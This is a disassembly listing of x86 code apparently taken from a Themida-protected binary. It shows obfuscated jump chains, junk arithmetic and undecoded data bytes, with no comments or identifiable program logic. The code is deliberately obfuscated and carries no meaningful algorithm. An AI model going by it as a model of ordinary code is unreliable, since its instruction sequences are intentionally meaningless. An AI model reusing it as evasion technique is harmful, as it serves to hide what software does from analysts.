pop edx
sub edx, 31EF31C1h
pop esi
xor edx, eax
jmp loc_548B50
; ---------------------------------------------------------------------------
dw 0DD05h
dd 5D2D0D66h, 0DBF9E953h, 0E95CFFFFh, 0C8Fh, 8704C783h
dd 2C5C243Ch, 241C8B87h, 0FFFD6EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549F4D: ; CODE XREF: Themida_:00547E63j
add esp, 4
and esi, 462B29D4h
add esi, 0FFFFFFFFh
sub esi, 1
jmp loc_54CA13
; ---------------------------------------------------------------------------
db 52h
dd 0BB4156BAh, 7F94E950h, 0C801FFFFh, 755D3205h, 35672D68h
dd 81593614h, 0B8567CC3h, 0F7C38146h, 8159DF74h, 17135AEBh
dd 88C38114h, 1594A0Dh, 88EB81C3h, 81594A0Dh, 17135AC3h
dd 0F7EB8114h, 5759DF74h, 651F6852h, 148B0AD1h, 4C48124h
dd 81000000h, 693363F2h, 8BD7894Ch, 7DE92414h, 68FFFF86h
dd 3117h, 24048F54h, 4240481h, 5F000000h, 4C781h, 68550000h
dd 4, 1CEF815Dh, 2932A51Bh, 1CC781EFh, 5D32A51Bh, 0E53E9h
db 0
; ---------------------------------------------------------------------------
loc_549FFD: ; CODE XREF: Themida_:00542A77j
mov esi, 8667F5Eh
neg esi
push ebp
mov ebp, 121B678Bh
xor esi, ebp
pop ebp
not esi
sub esi, 0D013FAA9h
mov eax, esi
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_54A84E
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0FC1B3EBEh, 24C68122h, 0E9135850h, 0FFFF92D6h, 0E67FE950h
dd 34FFFFFFh, 240C8B24h, 37C0E9h, 10406800h, 3C890000h
dd 24148B24h, 4C481h, 3C8B0000h, 4C48324h, 2414F757h, 0E957525Fh
dd 0FFFFE60Ch, 2D5EF001h, 1B8011A5h, 0FFA9D0E9h, 48B66FFh
dd 4EC8324h, 54242C89h, 0B5BB535Dh, 811CE533h, 0E15AC7EBh
dd 57C38130h, 0E94CDF43h, 0FFFFA316h
; ---------------------------------------------------------------------------
loc_54A0A8: ; CODE XREF: Themida_:0054AD01j
push esi
mov esi, 17554B25h
add [esp+8], esi
pop esi
pop esi
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_54D351
; ---------------------------------------------------------------------------
db 52h
dd 0FF75EDE9h, 0E94404FFh, 0FFFF803Ch, 2474FF53h, 48F5B04h
dd 89665C24h, 8EB22414h, 2D90E9h, 0E9C50100h, 0FFFFE3ECh
dd 240C8B54h, 4C481h, 89530000h, 4C381E3h, 81000000h, 4EBh
dd 241C8700h, 241C895Ch, 406723BBh, 0F9CB8169h, 8123DB2Ah
dd 8E14F5CBh, 59E38136h, 430FEA42h, 0FFBF6BE9h, 59CD01FFh
dd 31242C33h, 2C33242Ch, 24248B24h, 0FF8B25E9h, 0C38166FFh
dd 8166FFFFh, 0E902FCF3h, 0FFFFD7B0h, 662CBB2Dh, 82BB530Bh
dd 1517C67h, 0F41CE9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A166: ; CODE XREF: Themida_:0054D754j
mov ebx, 0A03CF5ABh
add ebx, eax
jmp loc_547575
; ---------------------------------------------------------------------------
loc_54A172: ; CODE XREF: Themida_:00549A19j
sub esp, 4
mov [esp], ecx
push 287Ah
jmp loc_5425AE
; ---------------------------------------------------------------------------
db 5Ah, 31h, 0C6h
dd 1C772158h, 8B2434FFh, 3FE92434h
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A197: ; CODE XREF: Themida_:005456D1j
add eax, 3EDB4A53h
jmp loc_541D11
; ---------------------------------------------------------------------------
db 0D3h, 2 dup(24h)
dd 71CEE99Ch, 9159FFFFh, 5051D0F7h, 7CB9E959h, 0EE81FFFFh
dd 8194E767h, 0FF90A5E9h, 0DBBF57FFh, 52212575h, 3A1BD1BAh
dd 2ACA8121h, 0E9241B7Ch, 2948h
; ---------------------------------------------------------------------------
loc_54A1D8: ; CODE XREF: Themida_:0054571Aj
xchg ebx, [esp]
pop esp
popa
popf
jmp locret_54C115
; ---------------------------------------------------------------------------
db 81h
dd 7304246Ch, 0E9770E03h, 2C5Eh, 0E955E689h, 0FFFFC871h
dd 56B3EA81h, 0F20179DAh, 1ACEE9h, 74FF5500h, 0FAE90424h
dd 4000008h, 58C1281Fh, 34FFC130h, 54555824h, 0B00EE95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A222: ; CODE XREF: Themida_:0054B5D0j
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_541378
; ---------------------------------------------------------------------------
db 89h
dd 4AE952E6h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A243: ; CODE XREF: Themida_:0054C580j
mov bl, 4Dh
jmp loc_54A293
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 4C481h, 91E90000h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A25B: ; CODE XREF: Themida_:00543E99j
sub ebx, 4C6F4750h
jmp loc_546205
; ---------------------------------------------------------------------------
dw 248Bh
dd 710AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A26E: ; CODE XREF: Themida_:0054BEF0j
add esi, 0FEFBFFF9h
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], eax
mov eax, esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5486B4
; ---------------------------------------------------------------------------
loc_54A293: ; CODE XREF: Themida_:0054A245j
xor bl, 3Fh
jmp loc_545F52
; ---------------------------------------------------------------------------
db 5Ch
dd 0FF243C89h, 8B042474h, 0C483243Ch, 849FE904h, 205AFFFFh
dd 2434FFF8h, 0FF96BFE9h, 3A0668FFh, 2C890000h, 0B596824h
dd 0E9540000h, 1590h, 104C483h, 0BD555DEFh, 4, 32EE9h
dd 0E0B25200h, 0FFD597E9h, 4077FFFFh, 0FFEA71E9h, 8EAC1FFh
dd 56DAF742h, 0F55B5DBEh, 8BF20916h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push eax
jmp loc_54995E
; ---------------------------------------------------------------------------
db 5Dh, 87h, 0Ch
dd 0C8B5C24h, 32E2E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A31A: ; CODE XREF: Themida_:00545F9Aj
pop edx
and eax, ebp
jmp loc_546F8A
; ---------------------------------------------------------------------------
dw 0E951h
dd 0FFFFD647h, 0C3815B54h, 4, 4C381h, 1C870000h, 38B5C24h
dd 1163E9h, 48F5C00h, 702EE924h, 0B652FFFFh, 5AF58889h
dd 5966E800h, 80F4B753h, 0E3E9BFE7h, 29FFFF84h, 9E95FFDh
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A367: ; CODE XREF: Themida_:00546061j
inc ebx
sub esp, 4
mov [esp], edx
mov edx, 138F0F14h
shl edx, 5
add edx, 52066E4h
and edx, 32141A39h
push ecx
mov ecx, 672D01A1h
push ebx
mov ebx, 768D7466h
not ebx
add ebx, 183D033Ah
add ebx, 0BA37BA74h
add ecx, ebx
pop ebx
jmp loc_545150
; ---------------------------------------------------------------------------
dd 42E9D730h, 29FFFF8Ch, 240C8BCEh, 4C481h, 0F2210000h
dd 0FFCD2DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A3BD: ; CODE XREF: Themida_:0054A5DDj
neg ecx
neg ecx
jmp loc_541463
; ---------------------------------------------------------------------------
dw 5158h
dd 14093168h, 81415917h, 0F8CAE7E9h, 59C801BBh, 4B2DF829h
dd 0E95B1B3Eh, 2EADh
; ---------------------------------------------------------------------------
loc_54A3E4: ; CODE XREF: Themida_:0054C1CBj
add ebx, ebp
push dword ptr [esp]
jmp loc_5437F6
; ---------------------------------------------------------------------------
loc_54A3EE: ; CODE XREF: Themida_:00545061j
add edi, 4
sub edi, 4
jmp loc_54BF30
; ---------------------------------------------------------------------------
loc_54A3FF: ; CODE XREF: Themida_:00545C93j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], edi
mov edi, 613074DCh
sub edi, 613074D8h
add edx, edi
pop edi
push edi
mov edi, 4
add edx, 300333EFh
add edx, edi
sub edx, 300333EFh
jmp loc_547420
; ---------------------------------------------------------------------------
db 0B7h, 49h, 80h
dd 0F828FAF7h, 83241C8Bh, 3F2C04C4h, 37D168h, 240C8900h
dd 5072B252h, 0F60FB151h, 0FED1F6D9h, 1BFCE9C9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A466: ; CODE XREF: Themida_:00546C1Bj
xor ebp, 0CF19B545h
jmp loc_545E39
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 8B58240Ch, 5455240Ch, 4C5815Dh, 68000000h
dd 7ABCh, 0E9240C89h, 0FFFF8774h, 0E98159h, 0C15C2E77h
dd 1BE908E1h, 87FFFFDAh, 3E9243Ch, 51FFFF92h, 0C181E189h
dd 4, 71E9h, 6CE95C00h, 88000008h, 0C85BE9FEh, 0C181FFFFh
dd 1, 2F41E9h, 2414F700h, 0B4B8505Ah, 251DF61Eh, 6BB36224h
dd 0FFD887E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A4E5: ; CODE XREF: Themida_:00544E3Ej
add ebp, ecx
pop ecx
push 556Ah
mov [esp], edx
push 6713079Fh
pop edx
push eax
jmp loc_5470BA
; ---------------------------------------------------------------------------
dd 0E9028F64h, 0FFFF6E74h
; ---------------------------------------------------------------------------
loc_54A504: ; CODE XREF: Themida_:0054B857j
xchg ebx, [esp]
jmp loc_545CCB
; ---------------------------------------------------------------------------
dd 0F1D4E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A512: ; CODE XREF: Themida_:00543261j
add eax, [ebx]
mov ebx, [esp]
jmp loc_545591
; ---------------------------------------------------------------------------
loc_54A51C: ; CODE XREF: Themida_:00541935j
sub edi, 362B8BAh
sub edx, edi
pop edi
jmp loc_544763
; ---------------------------------------------------------------------------
dw 0E981h
dd 4, 5C240C87h, 50240C89h, 123BA1B8h, 54E95745h, 50FFFF79h
dd 0AD2F88B8h, 0FAB2356Ah, 0C201B4A2h, 0EAC28158h, 573CE032h
dd 0B00B8C68h, 9350E926h, 8668FFFFh, 0E900000Ch, 0FFFF7356h
dd 5FD2E581h, 0E581558Eh, 1F6A7EF9h, 5004EDC1h, 3C56A2B8h
dd 7330E90Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A586: ; CODE XREF: Themida_:0054C3BAj
or eax, eax
jz loc_548F66
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
jmp loc_54BFB8
; ---------------------------------------------------------------------------
dw 0C181h
dd 580E07F2h, 0E981F101h, 580E07F2h, 240C875Eh, 3824248Bh
dd 0C1E99CC1h, 0FEFFFF6Dh, 0E99C240Ch, 0FFFF6DB8h, 875EF229h
dd 895C2414h, 5A542414h, 505CB951h, 85E927C9h
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A5D7: ; CODE XREF: Themida_:0054B1F8j
push ecx
mov ecx, 53B76D3Dh
jmp loc_54A3BD
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 8704EA83h, 895C2414h, 53E9241Ch, 0FFFFFFB2h, 68582434h
dd 38CDh, 0FF754FE9h, 31E95CFFh, 1FFFFC1h, 5DE95DEFh, 89000018h
dd 533A68E2h, 4890000h, 87E7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A622: ; CODE XREF: Themida_:0054A7ECj
shr ecx, 4
jmp loc_549262
; ---------------------------------------------------------------------------
loc_54A62A: ; CODE XREF: Themida_:00544212j
xor ebp, ebx
jmp loc_546D74
; ---------------------------------------------------------------------------
db 29h, 0DDh, 5Bh
dd 31242C33h, 2C33242Ch, 3C895C24h, 4BF24h, 0C6810000h
dd 1C845624h, 0EE81FE01h, 1C845624h, 52243C8Bh, 0C281E289h
dd 4, 0FF9938E9h, 405FFh, 0BD550000h, 4, 875DE829h, 895C2404h
dd 0BD242Ch, 0E9000004h, 0FFFF9999h, 4EE9E789h, 50FFFFD5h
dd 0C44E3DB8h, 8487E92Ah, 0FA01FFFFh, 0FFD0015Fh, 0E95A2434h
dd 0FFFFD00Dh, 2414895Ch, 0E95B5453h, 0FFFF93B3h
; ---------------------------------------------------------------------------
loc_54A6B0: ; CODE XREF: Themida_:00548330j
mov ebp, [esp]
add esp, 4
mov ebp, [esp]
jmp loc_54476A
; ---------------------------------------------------------------------------
loc_54A6C1: ; CODE XREF: Themida_:00544ADAj
push esi
mov esi, 70733D4Dh
or esi, 28160561h
inc esi
push eax
mov eax, 7D34103Eh
add esi, 28DB5A69h
sub esi, eax
sub esi, 28DB5A69h
jmp loc_54D808
; ---------------------------------------------------------------------------
db 52h
dd 0F28023B2h, 0B6FFE9CAh, 8B66FFFFh, 0F6E9241Ch, 56FFFF9Dh
dd 0D6AE9h, 0B3535A00h, 0E9CBFE3Ah, 0FFFF8144h, 8D7C8EB9h
dd 22C18127h, 5253A695h, 4C3B8ABAh, 703E930h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A722: ; CODE XREF: Themida_:00545510j
sub esp, 4
mov [esp], ebp
mov ebp, 4
jmp loc_545A87
; ---------------------------------------------------------------------------
loc_54A732: ; CODE XREF: Themida_:00549458j
push eax
mov eax, 6F1B7BDAh
sub eax, 61C1644h
not eax
not eax
jmp loc_54598F
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0FFB1D8E9h, 0C8B66FFh, 20685124h, 6800002Ah, 21B0h
dd 0FFC220E9h, 1DC580FFh, 0D6EB80h, 0D6C380EBh, 0E9240C8Bh
dd 0FFFFAB7Eh, 4240483h, 8124048Bh, 4C4h, 6AB46800h, 34890000h
dd 0B93BE24h, 62E90E62h, 81000029h, 4C4h, 2C08300h, 31240433h
dd 4332404h, 0F09CE924h, 0F635FFFFh, 2544967Fh, 6AE1235Fh
dd 83D2E948h, 0A5BFFFFFh, 53715E81h, 977CE952h, 0D366FFFFh
dd 0E99C2424h, 0FFFF6BA4h, 0BD5E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A7DA: ; CODE XREF: Themida_:00548CC5j
push ecx
mov ecx, 6F53445Fh
add ecx, 73016694h
add ecx, 2D7E68E5h
jmp loc_54A622
; ---------------------------------------------------------------------------
loc_54A7F1: ; CODE XREF: Themida_:00546455j
add ebp, eax
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
div ecx
jmp loc_544AF7
; ---------------------------------------------------------------------------
db 5Ch, 89h, 4
dd 0A7B8E924h, 5A54FFFFh, 4C281h, 0E9530000h, 0A16h, 34FF7E04h
dd 9057E924h, 0CB81FFFFh, 56D62114h, 675CC381h, 0EB811557h
dd 9E003E5Dh, 1C8BD831h, 4C48324h, 5658C201h, 27426CBEh
dd 0B5C3E97Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A84E: ; CODE XREF: Themida_:0054A02Cj
pop esp
xor ecx, eax
pop eax
push esi
jmp loc_54899C
; ---------------------------------------------------------------------------
dd 0ABE9E801h, 87FFFFDCh, 8F5C241Ch, 248B2404h, 88FE924h
dd 0E9560000h, 0FFFFBCA9h, 160E2D66h, 66C80166h, 66160E05h
dd 81240C8Bh, 2C4h, 0B8665000h, 0C16654D8h, 46E906E0h
dd 66FFFF71h, 66CCB60Fh, 66659268h, 66240C89h, 66C8B60Fh
dd 0E1E99C51h, 0F6FFFFCBh, 0C0D6F6D6h, 0EE8006EEh, 8BF78899h
dd 0C4832414h, 2CCE0404h, 4F80069h, 66CE2C69h, 51241C8Bh
dd 0FF736FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A8D5: ; CODE XREF: Themida_:00546C6Bj
shl eax, 2
xor eax, 1B4E2880h
sub eax, 65BE24EFh
add edx, eax
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 55FA02A9h
jmp loc_54AD68
; ---------------------------------------------------------------------------
dd 1359E958h, 0BB2D0000h, 933A151Bh, 0D9E9934Bh
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A90B: ; CODE XREF: Themida_:00541DC5j
sub ebp, 1A7918F4h
add ebp, edx
push esi
push ecx
push 64694B66h
mov ecx, [esp]
add esp, 4
sub ecx, 2D6F0F8Ah
jmp loc_54B478
; ---------------------------------------------------------------------------
db 29h
dd 1B8D2DC8h, 7FE9753Fh, 83FFFFAFh, 0C18104C4h, 2, 0E9240C33h
dd 0FFFFA1E7h, 3BC7E181h, 0E9813EB8h, 0E8ABDFBDh, 0FFC93EE9h
dd 58C289FFh, 0C15A5952h, 0E9C105E9h, 0D5C18106h, 1FFF563h
dd 343359CEh, 24343124h, 8B243433h, 0C4832424h, 2434FF04h
dd 582434FFh, 6804C483h, 0BC4h, 68241C89h, 4F04h, 24048F54h
dd 4240481h, 5B000000h, 4BA52h, 0D3010000h, 4C3835Ah, 31241C33h
dd 93E9241Ch
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A9B7: ; CODE XREF: Themida_:005498AAj
push edx
mov edx, 21DC537Ch
xor edx, 21DC5378h
add edi, edx
pop edx
sub edi, 4
jmp loc_541ECF
; ---------------------------------------------------------------------------
dw 0E781h
dd 645A6A3Dh, 1AACE94Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A9DA: ; CODE XREF: Themida_:0054D8D7j
sub [esp+4], eax
sub dword ptr [esp+4], 587A0D41h
jmp loc_54D7C3
; ---------------------------------------------------------------------------
db 1
dd 0F1BA52FBh, 556C694Ch, 3E00B850h, 0DA35315Dh, 4061AA5Bh
dd 0FFD2D9E9h, 68FFh, 34FF0000h, 0AA685B24h, 8900006Bh
dd 0E6892434h, 71A5BA52h, 0D2F76CE6h, 81D2F742h, 0E671A0F2h
dd 0F6C6816Ch, 1665054h, 0F6EE81D6h, 0E9665054h, 1938h
dd 240C8B66h, 7B0568h, 22B9E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AA4A: ; CODE XREF: Themida_:005414E6j
xor ah, ch
pop ecx
add bl, ah
pop eax
shl bl, 2
add bl, 55h
sub dh, bl
pop ebx
xor al, dh
jmp loc_546E09
; ---------------------------------------------------------------------------
dd 434B050h, 344F2401h, 2C16E951h, 0C860000h, 10A8E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AA76: ; CODE XREF: Themida_:00544EFBj
pop esi
jmp loc_545711
; ---------------------------------------------------------------------------
dd 4BB53h, 5C010000h, 0E95B0424h, 1CB8h, 52CDB050h, 0FFAD52E9h
dd 4EC81FFh, 89000000h, 8B54243Ch, 3CE9243Ch, 0ADFFFFB8h
dd 7D68D831h, 89000037h, 0BF57240Ch, 2FA94BF2h, 0DC24CB9h
dd 5FF9294Fh, 9D53E981h, 0BA52101Fh, 49DE70F2h, 5708EAC1h
dd 0CBE955h, 4280000h, 99E99C24h, 58FFFF68h, 0ECBA525Eh
dd 0E96E865Eh, 0FFFFD5DAh, 24048156h, 1CB645C0h, 0C0BA525Dh
dd 291CB645h, 348B5AD5h, 4C48324h, 0FF7905E9h, 48F5DFFh
dd 0DC12E924h, 3C33FFFFh, 24248B24h, 8904EC83h, 0E789243Ch
dd 0FFB1EDE9h, 2E2C1FFh, 6D6E9h, 68D6F700h, 531Ah, 1F58E9h
dd 24048300h, 0A35BE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AB42: ; CODE XREF: Themida_:005450D5j
pop eax
add esp, 4
add eax, 4
add eax, 4
jmp loc_545C22
; ---------------------------------------------------------------------------
dd 835EF501h, 2C8704C5h, 0C4815C24h, 4, 0FFB725E9h, 58F0DFFh
dd 0E9406109h, 2179h
; ---------------------------------------------------------------------------
loc_54AB78: ; CODE XREF: Themida_:0054500Cj
pop esi
pop edx
xor eax, ebp
xor ebp, eax
xor eax, ebp
jmp loc_548FD7
; ---------------------------------------------------------------------------
loc_54AB85: ; CODE XREF: Themida_:00545AF4j
push edx
mov edx, eax
mov ebp, edx
pop edx
mov eax, [esp]
add esp, 4
pop ecx
pop edx
and eax, ebp
mov ebp, [esp]
push edx
jmp loc_541A77
; ---------------------------------------------------------------------------
db 0BDh, 8Ch, 4Ch
dd 0EDC10516h, 0EBF58108h, 81467910h, 0ACB80EDh, 5DEF8907h
dd 0FFFAD9E9h, 0F6664FFh, 686602B6h, 73E94265h, 66000003h
dd 9C2424D3h, 0FF67A3E9h, 0F8015AFFh, 7396E955h, 0C681FFFFh
dd 632C15CBh, 2DDC6858h, 3C890000h, 0B4FBE924h, 0C181FFFFh
dd 4, 0FFA8D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54ABFD: ; CODE XREF: Themida_:0054568Ej
xor eax, 17596778h
mov ebp, eax
pop eax
add ebp, 5ABF04B2h
shr ebp, 3
jmp loc_545550
; ---------------------------------------------------------------------------
db 83h
dd 148904ECh, 56E28924h, 0FFCB77E9h, 0E9D1F7FFh, 0FFFF9A63h
dd 448B6857h, 0C1E970BBh, 85FFFFBEh, 0C6E99CC8h, 0BDFFFF72h
dd 30112571h, 0E95DEB29h, 0A2Fh
; ---------------------------------------------------------------------------
loc_54AC48: ; CODE XREF: Themida_:00549E57j
sub edi, 1FEE7434h
add edi, eax
add edi, 1FEE7434h
sub edi, 23747E1h
pop eax
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
push 5F7631BBh
pop esi
push ebp
mov ebp, 74096CD8h
add esi, ebp
pop ebp
push ebx
mov ebx, 0D3779E93h
xor esi, ebx
pop ebx
and eax, esi
push dword ptr [esp]
pop esi
push esi
mov esi, esp
jmp loc_543631
; ---------------------------------------------------------------------------
db 68h
dd 0F30h, 57240C89h, 0A559D6BFh, 0E753E93Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ACA2: ; CODE XREF: Themida_:005492DEj
pop edi
add dword ptr [esp+4], 58C87A26h
jmp loc_5419CF
; ---------------------------------------------------------------------------
dd 42474FFh, 0E3BAE959h, 0D101FFFFh, 2C1815Ah, 51000000h
dd 0FFFFE7E9h, 2434FFFFh, 0E924048Bh, 766h
; ---------------------------------------------------------------------------
loc_54ACD4: ; CODE XREF: Themida_:005495C9j
shl edx, 4
push eax
mov eax, 3D97781Eh
sub edx, eax
pop eax
jmp loc_54D57A
; ---------------------------------------------------------------------------
loc_54ACE5: ; CODE XREF: Themida_:00545324j
mov [esp], ebx
push 343Fh
mov [esp], esi
mov esi, 0C472A7Ch
sub dword ptr [esp+4], 17554B25h
add [esp+4], esi
jmp loc_54A0A8
; ---------------------------------------------------------------------------
loc_54AD06: ; CODE XREF: Themida_:005470E5j
push small 721Dh
mov [esp], dx
push ax
pushf
jmp loc_541378
; ---------------------------------------------------------------------------
dw 0E5C1h
dd 0E9DDF702h, 0FFFF972Fh, 8BD9895Eh, 73E9241Ch, 0FFFFFF91h
dd 34FF2434h, 0D20DE924h, 2A68FFFFh, 0E9000031h, 0F0Fh
; ---------------------------------------------------------------------------
loc_54AD40: ; CODE XREF: Themida_:00549BD5j
mov [edi+eax*4], bh
mov ebx, [esp]
push ebx
jmp loc_547391
; ---------------------------------------------------------------------------
dd 2BA92D59h, 0A12D14EEh, 2912D17Dh, 7DA105D8h, 0A90512D1h
dd 0E914EE2Bh, 0FFFFB5AFh
; ---------------------------------------------------------------------------
loc_54AD68: ; CODE XREF: Themida_:0054A8F3j
sub edx, ebx
jmp loc_54C570
; ---------------------------------------------------------------------------
db 5Ah
dd 34E9CDFEh, 83FFFFD0h, 3C8704C7h, 24248B24h, 4E9C009h
dd 50000026h, 0A5076CB8h, 24448131h, 0BA220304h, 24440105h
dd 263D6804h, 0C890000h, 2203B924h, 4C2905BAh, 8B590824h
dd 0C4812404h, 4, 6824048Bh, 6A0Dh, 89243489h, 3F6168E6h
dd 0E4E90000h, 0C1FFFFEAh, 0E95308EDh, 0FFFFC006h, 0E9565F54h
dd 0FFFF8744h
; ---------------------------------------------------------------------------
loc_54ADDC: ; CODE XREF: Themida_:0054718Fj
neg ecx
xor ecx, 18590FF7h
sub eax, ecx
pop ecx
sub eax, ebp
add eax, 1D454016h
add eax, 20F25966h
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
mov ebx, esp
push ebp
mov ebp, 71055929h
jmp loc_54602B
; ---------------------------------------------------------------------------
dd 0BBh, 88CB0100h, 34FF5B03h, 240C8B24h, 245EE950h, 0CA010000h
dd 0FF84E4E9h, 9FC281FFh, 0E91D7619h, 0FFFF66D1h
; ---------------------------------------------------------------------------
loc_54AE30: ; CODE XREF: Themida_:00545E4Cj
and dword ptr [edi+20h], 1067107Ah
jmp loc_543A77
; ---------------------------------------------------------------------------
dd 89241489h, 4B951E2h, 1000000h, 0E95759CAh, 0FFFFDC16h
dd 626D68h, 240C8900h, 1AE9E189h, 87000028h, 9AB951EAh
dd 0F762D373h, 0C7C181D9h, 0E9234453h, 0FFFFA9CFh
; ---------------------------------------------------------------------------
loc_54AE74: ; CODE XREF: Themida_:005492A1j
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebx
mov ebx, 2E514776h
jmp loc_543608
; ---------------------------------------------------------------------------
loc_54AE92: ; CODE XREF: Themida_:00546D75j
add ebx, ebp
pop ebp
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_544C80
; ---------------------------------------------------------------------------
db 0ADh, 31h, 0D8h
dd 0FFF5FAE9h, 0E9FB01FFh, 0FFFFD69Dh
; ---------------------------------------------------------------------------
loc_54AEB8: ; CODE XREF: Themida_:00543D46j
mov [esp], eax
jmp loc_54D557
; ---------------------------------------------------------------------------
dd offset dword_4E204C+31Ch
dd 92D0E900h, 0EBC1FFFFh, 0E8F38102h, 89744CAFh, 666AE9DAh
dd 4968FFFFh, 0E9000045h, 0FFFF9E28h, 68243C89h, 620h
dd 81242489h, 42404h, 815F0000h, 4C7h, 4C78100h, 57000000h
dd 42474FFh, 237BE9h, 81DAF700h, 0E94759C2h, 5AD02912h
dd 0A305E948h, 3489FFFFh, 4BE24h, 0F5010000h, 242C335Eh
dd 33242C31h, 0FF5C242Ch, 0C8B2434h, 0C220E924h, 8966FFFFh
dd 1BE92404h, 5800000Bh, 6032C381h, 0C3297ECAh, 6032EB81h
dd 0EC817ECAh, 4, 0BF243C89h, 5A9A150Eh, 0FFDB3FE9h, 3A26B9FFh
dd 0CF0123F0h, 0B40CE959h, 0FDE9FFFFh, 0FFFFFF63h, 669D1C77h
dd 4196658h, 30E99C24h, 0FFFFFF7Ah, 59042474h, 3D5E9h
dd 241C3300h, 33241C31h, 21E9241Ch, 0F7FFFFA2h, 1251E9D2h
dd 0E9830000h, 240C8704h, 243C895Ch, 42474FFh, 0FFC304E9h
dd 4C283FFh, 8B241487h, 0C7812424h, 4, 8702C783h, 665C243Ch
dd 9C243CD3h, 0FF9082E9h, 4EC81FFh, 89000000h, 4BD242Ch
dd 89000000h, 86C8E9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AFF2: ; CODE XREF: Themida_:005476A3j
sub [edi+24h], edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_54D620
; ---------------------------------------------------------------------------
dd 8B1C5F21h, 0C483241Ch, 636AE904h, 0F789FFFFh, 0BCBA525Eh
dd 125BE57h, 0DFF75AD7h, 23FCBB53h, 0F38111C1h, 7A661756h
dd 0FFA3A9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B02D: ; CODE XREF: Themida_:0054190Cj
pop eax
or esi, ebx
pop ebx
jmp loc_548494
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 9C2414D3h, 0FF6333E9h, 243C89FFh, 0D45E64BFh
dd 82E4E90Ah, 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h
dd 55243C89h, 6F26BA52h, 30E925C5h, 83FFFFBEh, 148904ECh
dd 4BA24h, 0D1010000h, 240C335Ah, 33240C31h, 248B240Ch
dd 242C8124h, 3AC56285h, 2C242C81h, 1581E7Bh, 80682404h
dd 8900005Fh, 2C682434h, 5E581E7Bh, 0FFF132E9h, 4BAFFh
dd 54010000h, 595A0424h, 563FBE56h, 0DEF7782Bh, 445068h
dd 240C8900h, 0F72235B9h, 0E9CE2957h, 0FFFFE38Bh, 8B66C830h
dd 0EDE9240Ch, 66000013h, 5024048Bh, 6BE95854h, 0B8FFFF70h
dd 4, 4244401h, 0FFF9E2E9h, 48B66FFh, 4EC8324h, 0E9243489h
dd 0FFFFD510h, 28BBh, 8E7CE900h, 0C181FFFFh, 47F4C62h
dd 5E9C15Eh, 69C18149h, 0E9FD3DEBh, 0FFFFDD50h, 0E610D40h
dd 922D4992h, 0C14A9703h, 0DB3507E0h, 52030A03h, 0F85912BAh
dd 81E2D16Dh, 0B8FBC5EAh, 7CEAE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B152: ; CODE XREF: Themida_:00545C2Bj
mov esp, [esp]
imul ecx, eax
jmp loc_5468C4
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FF8A23E9h, 0BB535DFFh, 3D42173Ah, 0C381D3F7h, 3D42173Fh
dd 0FF932CE9h, 63E581FFh, 0C112142Ah, 0F58103EDh, 659B1410h
dd 0E95DE831h, 0FFFFA8D5h
; ---------------------------------------------------------------------------
loc_54B190: ; CODE XREF: Themida_:0054B41Aj
shl eax, cl
